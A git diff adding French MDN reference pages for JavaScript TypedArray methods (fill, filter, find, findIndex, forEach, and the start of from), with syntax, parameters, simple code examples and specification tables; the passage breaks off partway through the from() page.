+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.fill(<var>valeur</var>[, <var>début<var> = 0[, <var>fin</var> = this.length]])</var></var></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur avec laquelle on souhaite remplir le tableau.</dd>
+ <dt><code>début</code></dt>
+ <dd>Paramètre optionnel qui représente l'indice à partir duquel remplir le tableau. La valeur par défaut est 0.</dd>
+ <dt><code>fin</code></dt>
+ <dd>Paramètre optionnel qui représente l'indice jusqu'auquel remplir le tableau. La valeur par défaut est la longueur du tableau (<code>this.length</code>).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le tableau typé, modifié par la fonction.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'intervalle d'éléments à modifier est [<code>début</code>, <code>fin</code>).</p>
+
+<p>La méthode <strong><code>fill</code></strong> utilise jusqu'à trois arguments : <code>valeur</code>, <code>début</code> et <code>fin</code>. <code>début</code> et <code>fin</code> sont optionnels, leurs valeurs par défaut respectives sont <code>0</code> et la valeur de la propriété <code>length</code> de l'objet <code>this</code>.</p>
+
+<p>Si <code>début</code> est négatif, on le traite comme <code>length+début</code> où <code>length</code> représente la longueur du tableau. Si <code>fin</code> est négative, on le traite comme <code>length+fin</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">new Uint8Array([1, 2, 3]).fill(4);         // Uint8Array [4, 4, 4]
+new Uint8Array([1, 2, 3]).fill(4, 1);      // Uint8Array [1, 4, 4]
+new Uint8Array([1, 2, 3]).fill(4, 1, 2);   // Uint8Array [1, 4, 3]
+new Uint8Array([1, 2, 3]).fill(4, 1, 1);   // Uint8Array [1, 2, 3]
+new Uint8Array([1, 2, 3]).fill(4, -3, -2); // Uint8Array [4, 2, 3]
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Il n'existe pas d'objet global avec le nom <em>TypedArray</em>, la prothèse doit donc être appliquée uniquement si nécessaire, aussi {{jsxref("Array.prototype.fill()")}} pourra éventuellement être utilisé (voire la prothèse de cette dernière).</p>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.fill
+if (!Uint8Array.prototype.fill) {
+  Uint8Array.prototype.fill = Array.prototype.fill;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.fill', 'TypedArray.prototype.fill')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.fill', 'TypedArray.prototype.fill')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.fill")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.fill()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/filter/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/filter/index.html
new file mode 100644
index 0000000000..fadb8339cd
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/filter/index.html
@@ -0,0 +1,111 @@
+---
+title: TypedArray.prototype.filter()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/filter
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/filter
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>filter()</strong></code> crée un nouveau tableau qui contient l'ensemble des éléments qui remplissent une condition fournie par la fonction de test passée en argument. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.filter()")}}<em>.</em> <em>TypedArray</em> est utilisé ici de façon générique pour représenter <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">l'un des types de tableaux typés possibles</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-filter.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.filter(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Une fonction qui est utilisée pour tester chacun des éléments du tableau typé. Cette fonction est appelée avec trois arguments <code>(élément, index, tableautypé)</code>. La fonction renvoie <code>true</code> si on souhaite conserver l'élément, <code>false</code> sinon.</dd>
+ <dt><code>thisArg {{optional_inline}}</code></dt>
+ <dd>La valeur à utiliser pour <code>this</code> lors de l'appel à <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouveau tableau typé contenant les éléments qui remplissent la condition donnée par la fonction de rappel.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>filter()</code> appelle une fonction <code>callback</code> appelée une fois pour chaque élément du tableau typé. Elle construit un nouveau tableau typé constitué des valeurs du tableau original pour lesquelles <code>callback</code> a renvoyé <code>true</code>. <code>callback</code> est appelée uniquement pour les éléments du tableau auxquels on a affecté une valeur, elle n'est pas appelé pour les éléments supprimés ou ceux qui n'ont jamais reçu de valeurs. Les éléments du tableau typé qui ne passent pas le test de la fonction ne sont pas inclus dans le nouveau tableau typé.</p>
+
+<p><code>callback</code> est appelée avec trois arguments :</p>
+
+<ol>
+ <li>la valeur de l'élément</li>
+ <li>l'indice de l'élément</li>
+ <li>le tableau typé courant</li>
+</ol>
+
+<p>Si le paramètre <code>thisArg</code> est fourni, il sera utilisé comme objet <code>this</code> lors de l'appel de la fonction <code>callback</code>. Sinon, la valeur <code>undefined</code> sera utilisée à la place. Par ailleurs, la valeur de <code>this</code> accessible depuis la fonction <code>callback</code> est déterminée selon <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this">les règles usuelles déterminant la valeur this au sein d'une fonction</a>.</p>
+
+<p><code>filter()</code> ne modifie pas le tableau typé sur lequel elle a été appelée.</p>
+
+<p>La liste des éléments parcourus par <code>filter()</code> est définie avant la première invocation de la fonction <code>callback</code>. Les éléments qui sont ajoutés au tableau typé après le début de l'appel de <code>filter()</code> (grâce à la fonction <code>callback</code> par exemple) ne seront pas visités. Si des éléments existants du tableau typé ont modifiés ou supprimés, la valeur fournie à la fonction <code>callback</code> sera leur valeur au moment où <code>filter()</code> les visite - les éléments supprimés ne seront pas traités par la fonction.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Filtrer_les_valeurs_inférieures_à_un_seuil">Filtrer les valeurs inférieures à un seuil</h3>
+
+<p>Dans l'exemple qui suit, on utilise <code>filter()</code> pour créer un nouveau tableau typé qui contient uniquement les éléments supérieurs à 10.</p>
+
+<pre class="brush: js  language-js">function supSeuil(élément, indice, tableauTypé) {
+  return élément &gt;= 10;
+}
+new Uint8Array([12, 5, 8, 130, 44]).filter(supSeuil);
+// Uint8Array [ 12, 130, 44 ]
+</pre>
+
+<h3 id="Filtrer_les_éléments_d'un_tableau_typé_avec_les_fonctions_fléchées">Filtrer les éléments d'un tableau typé avec les fonctions fléchées</h3>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées">Les fonctions fléchées</a> permettent d'utiliser une syntaxe plus concise pour réaliser le même test que montré précédemment :</p>
+
+<pre class="brush: js">new Uint8Array([12, 5, 8, 130, 44]).filter(élém =&gt; élém &gt;= 10);
+// Uint8Array [ 12, 130, 44 ]</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.filter', 'TypedArray.prototype.filter')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.filter', 'TypedArray.prototype.filter')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.filter")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.every()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.filter()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/find/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/find/index.html
new file mode 100644
index 0000000000..97f578b914
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/find/index.html
@@ -0,0 +1,114 @@
+---
+title: TypedArray.prototype.find()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/find
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/find
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>find()</strong></code> renvoie une <strong>valeur</strong> du tableau typé si un élément du tableau remplit la condition définie par la fonction de test fournie. Si aucun élément ne remplit la condition, la valeur {{jsxref("undefined")}} sera renvoyée. Pour la suite de cet article <em>TypedArray</em> correspond à l'un des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">types de tableaux typés</a>.</p>
+
+<p>Voir également la page sur la méthohde {{jsxref("TypedArray.findIndex", "findIndex()")}} qui renvoie l'<strong>indice</strong> de l'élément trouvé (et non sa valeur).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-find.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.find(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction à exécuter pour chaque valeur du tableau typé. Elle prend trois arguments :
+ <dl>
+  <dt><code>élément</code></dt>
+  <dd>L'élément du tableau typé en cours de traitement.</dd>
+  <dt><code>index</code></dt>
+  <dd>L'indice de l'élément du tableau typé en cours de traitement.</dd>
+  <dt><code>array</code></dt>
+  <dd>Le tableau sur lequel la méthode <code>find</code> a été appelée.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Paramètre optionnel, il correspond à l'objet à utiliser en tant que <code>this</code> lors de l'exécution de la fonction <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une valeur du tableau qui remplit la condition définie par la fonction de rappel, {{jsxref("undefined")}} sinon.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>find</code> exécute la fonction <code>callback</code> une fois pour chacun des éléments présents dans le tableau typé jusqu'à ce que la fonction <code>callback</code> renvoie une valeur vraie. Si un tel élément est trouvé, <code>find</code> retourne immédiatement la valeur de cet élément, sinon <code>find</code> renvoie {{jsxref("undefined")}}. <code>callback</code> est appelée uniquement pour les indices du tableau typé qui possèdent une valeur, elle n'est pas appelée pour les indices qui ont été supprimés ou qui ne possèdent pas de valeurs.</p>
+
+<p><code>callback</code> est invoquée avec trois arguments : la valeur de l'élément, son indice et le tableau typé parcouru.</p>
+
+<p>Si la paramètre <code>thisArg</code> est utilisé, il sera utilisé en tant que <code>this</code> pour chaque appel à <code>callback</code>. S'il n'est pas fourni, la valeur {{jsxref("undefined")}} sera utilisée.</p>
+
+<p><code>find</code> ne modifie pas le tableau typé sur lequel elle est appelé.</p>
+
+<p>La liste des éléments traités par <code>find</code> est définie avant le premier appel à <code>callback</code>. Les éléments qui sont ajoutés au tableau typé après que l'appel à <code>find</code> ait commencé ne seront pas traités par <code>callback</code>. Si un élément du tableau qui n'a pas encore été traité est modifié par un appel précédent de <code>callback</code>, la valeur utilisée au moment où il est traité est celle qu'il aura lorsque <code>find</code> atteindra cet indice. Les éléments qui sont supprimés ne sont pas traités par la fonction.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Trouver_un_nombre_premier">Trouver un nombre premier</h3>
+
+<p>Dans l'exemple qui suit, on cherche un élément d'un tableau typé qui est un nombre premier (on renvoie <code>undefined</code> s'il n'y a pas de nombre premier).</p>
+
+<pre class="brush: js">function estPremier(élément, index, array) {
+  var début = 2;
+  while (début &lt;= Math.sqrt(élément)) {
+    if (élément % début++ &lt; 1) {
+      return false;
+    }
+  }
+  return élément &gt; 1;
+}
+
+var uint8 = new Uint8Array([4, 5, 8, 12]);
+console.log(uint8.find(estPremier)); // 5</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.find', '%TypedArray%.prototype.find')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.find', '%TypedArray%.prototype.find')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.find")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.findIndex()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.every()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/findindex/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/findindex/index.html
new file mode 100644
index 0000000000..d1c2c65387
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/findindex/index.html
@@ -0,0 +1,116 @@
+---
+title: TypedArray.prototype.findIndex()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/findIndex
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/findIndex
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>findIndex()</strong></code> renvoie un <strong>indice</strong> d'un élément d'un tableau typé si cet élément remplit une condition définie par une fonction de test donnée. S'il n'y a aucun élément satisfaisant, -1 sera renvoyé.</p>
+
+<p>Voir aussi la méthode {{jsxref("TypedArray.find", "find()")}} qui renvoie la <strong>valeur</strong> de l'élément trouvé (au lieu de son indice).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-findindex.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.findIndex(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction à exécuter pour chaque valeur du tableau typé. Elle prend trois arguments :
+ <dl>
+  <dt><code>élément</code></dt>
+  <dd>L'élément du tableau typé en cours de traitement.</dd>
+  <dt><code>index</code></dt>
+  <dd>L'indice de l'élément du tableau typé en cours de traitement.</dd>
+  <dt><code>array</code></dt>
+  <dd>Le tableau typé sur lequel la méthode <code>findIndex</code> a été appelée.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Paramètre optionnel, l'objet à utiliser en tant que <code>this</code> pour les appels à <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un indice du tableau pour lequel l'élément remplit la condition décrite par la fonction, <code>-1</code> sinon.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>findIndex</code> exécute la fonction <code>callback</code> une fois pour chacun des éléments présent dans le tableau typé jusqu'à ce que <code>callback</code> renvoie une valeur vraie pour un élément. Si un tel élément est trouvé, <code>findIndex</code> retournera immédiatement l'indice de cet élément. Sinon, <code>findIndex</code> renverra -1. <code>callback</code> est appelé uniquement pour les éléments du tableau qui possèdent une valeur, les éléments qui ont été supprimés ou qui n'ont pas de valeur ne sont pas traités.</p>
+
+<p><code>callback</code> est appelé avec trois arguments : la valeur de l'élément, son indice et le tableau typé qui est parcouru.</p>
+
+<p>Si un paramètre <code>thisArg</code> a été fourni à <code>findIndex</code>, celui-ci sera utilisé en tant que <code>this</code> pour chaque appel de <code>callback</code>. Dans le cas contraire, la valeur {{jsxref("undefined")}} sera utilisée.</p>
+
+<p><code>findIndex</code> ne modifie pas le tableau typé sur lequel elle a été appelée.</p>
+
+<p>La liste des éléments traités par <code>findIndex</code> est définie avant le premier appel à <code>callback</code>. Les éléments qui sont ajoutés au tableau typés après que <code>findIndex</code> ait débuté ne sont pas traités par <code>callback</code>. Si un élément est modifié par un appel à <code>callback</code> précédent, la valeur passée à <code>callback</code> lors du traitement sera celle au moment où <code>findIndex</code> traite l'indice de l'élément. Les éléments qui sont supprimés ne sont pas pris en compte.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on utilise la méthode pour trouver l'indice d'un nombre premier dans le tableau typé (ou -1 dans le cas où il n'y a pas de nombre premier) :</p>
+
+<pre class="brush: js">function estPremier(élément, index, array) {
+  var début = 2;
+  while (début &lt;= Math.sqrt(élément)) {
+    if (élément % début++ &lt; 1) {
+      return false;
+    }
+  }
+  return élément &gt; 1;
+}
+
+var uint8 = new Uint8Array([4, 6, 8, 12]);
+var uint16 = new Uint16Array([4, 6, 7, 12]);
+
+console.log(uint8.findIndex(estPremier)); // -1, non trouvé
+console.log(uint16.findIndex(estPremier)); // 2
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.findindex', '%TypedArray%.prototype.findIndex')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.findindex', '%TypedArray%.prototype.findIndex')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.findIndex")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.find()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/foreach/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/foreach/index.html
new file mode 100644
index 0000000000..b6e38156ff
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/foreach/index.html
@@ -0,0 +1,114 @@
+---
+title: TypedArray.prototype.forEach()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/forEach
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/forEach
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>forEach()</strong></code> permet d'exécuter une fonction donnée sur chaque élément du tableau. Cette méthode implémente le même algorithme que {{jsxref("Array.prototype.forEach()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>tableauTypé</var>.forEach(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction à utiliser pour chaque élément du tableau typé. Elle prend trois arguments :
+ <dl>
+  <dt><code>valeurÉlément</code></dt>
+  <dd>La valeur de l'élément traité actuellement.</dd>
+  <dt><code>indiceÉlément</code></dt>
+  <dd>L'indice de l'élément traité actuellement.</dd>
+  <dt><code>tableau</code></dt>
+  <dd>Le tableau parcouru par <code>forEach()</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Optionnel. La valeur utilisée pour <code>this</code> lors de l'appel à <code>callback()</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>forEach()</code> exécute la fonction <code>callback()</code> une fois pour chaque élément présent dans le tableau typé, par ordre d'indice croissant. Cette fonction n'est pas appelée pour les indices sur lesquels les éléments ont été supprimés ou n'ont pas été définis. <code>callback()</code> est cependant appelée pour les éléments qui portent la valeur {{jsxref("undefined")}}.</p>
+
+<p><code>callback()</code> accepte <strong>trois arguments</strong> :</p>
+
+<ul>
+ <li>la <strong>valeur de l'élément</strong></li>
+ <li>l'<strong>indice de l'élément</strong></li>
+ <li>le <strong>le tableau typé traversé</strong></li>
+</ul>
+
+<p>Si le paramètre <code>thisArg</code> est fourni à <code>forEach()</code>, il sera la valeur du <code>this</code> utilisé par chaque exécution de <code>callback()</code>. Dans le cas contraire, la valeur {{jsxref("undefined")}} sera utilisée par défaut. Pour déterminer la valeur de <code>this</code> véritablement visible par <code>callback()</code> durant son exécution, les règles habituelles pour {{jsxref("Operators/this", "déterminer la valeur de this du point de vue d'une fonction")}} sont appliquées.</p>
+
+<p>L'ensemble des éléments visités par <code>forEach()</code> est fixé avant le premier appel à <code>callback</code>. Ainsi, les éléments qui sont ajoutés au tableau typé après que l'exécution de <code>forEach()</code> soit lancée ne seront pas traités. Cependant, si la valeur d'un élément à traiter est modifiée pendant l'exécution de <code>forEach()</code>, la valeur passée à <code>callback()</code> sera celle de l'élément au moment où il est traité. Si un élément est supprimé avant d'être visité, il ne sera pas traité.</p>
+
+<p><code>forEach()</code> lance un appel à la fonction <code>callback()</code> pour chaque élément du tableau typé ; à la différence de {{jsxref("TypedArray.prototype.every()", "every()")}} et {{jsxref("TypedArray.prototype.some()", "some()")}} cette méthode renvoie toujours {{jsxref("undefined")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_Affichage_du_contenu_d'un_tableau_typé">Exemple: Affichage du contenu d'un tableau typé</h3>
+
+<p>Le code ci-dessous affiche une ligne pour chaque élément du tableau typé :</p>
+
+<pre class="brush:js">function affichageContenuTableau(élément, index, tableau) {
+  console.log('a[' + index + '] = ' + élément);
+}
+
+new Uint8Array([0, 1, 2, 3]).forEach(affichageContenuTableau);
+// log :
+// a[0] = 0
+// a[1] = 1
+// a[2] = 2
+// a[3] = 3
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.foreach', '%TypedArray%.prototype.forEach')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.foreach', '%TypedArray%.prototype.forEach')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.forEach")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.map()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.every()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/from/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/from/index.html
new file mode 100644
index 0000000000..d1e4dff361
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/from/index.html
@@ -0,0 +1,130 @@
+---
+title: TypedArray.from()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/from
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - TypedArray
+  - TypedArrays
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/from
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong><var>TypedArray</var>.from()</strong></code> crée un nouvel objet {{jsxref("TypedArray", "TypedArray", "#Les_objets_TypedArray")}} à partir d'un objet itérable ou d'un objet semblable à un tableau. Cette méthode est similaire à {{jsxref("Array.from()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>TypedArray</var>.from(<var>source</var>[, <var>mapFn</var>[,<var> thisArg</var>]])
+
+où <var>TypedArray</var> est l'un de :
+
+Int8Array
+Uint8Array
+Uint8ClampedArray
+Int16Array
+Uint16Array
+Int32Array
+Uint32Array
+Float32Array
+Float64Array
+BigInt64Array
+BigUint64Array
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>source</code></dt>
+ <dd>Un objet semblable à un tableau ou un objet itérable, et à partir duquel on souhaite créer un tableau typé.</dd>
+ <dt><code>fonctionMap</code></dt>
+ <dd>Argument optionnel, une fonction à appliquer à chacun des éléments du tableau.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Argument optionnel. La valeur à utiliser pour <code>this</code> lors de l'exécution de la fonction <code>fonctionMap</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle instance de {{jsxref("TypedArray")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code><var>TypedArray</var>.from()</code> permet de créer des tableaux typés à partir :</p>
+
+<ul>
+ <li>d'<a href="/fr/docs/Web/JavaScript/Guide/Objets_élémentaires_JavaScript#Manipuler_des_objets_semblables_aux_tableaux">objets semblables à des tableaux</a> (qui disposent d'une propriété <code>length</code> et d'éléments indexés) ou</li>
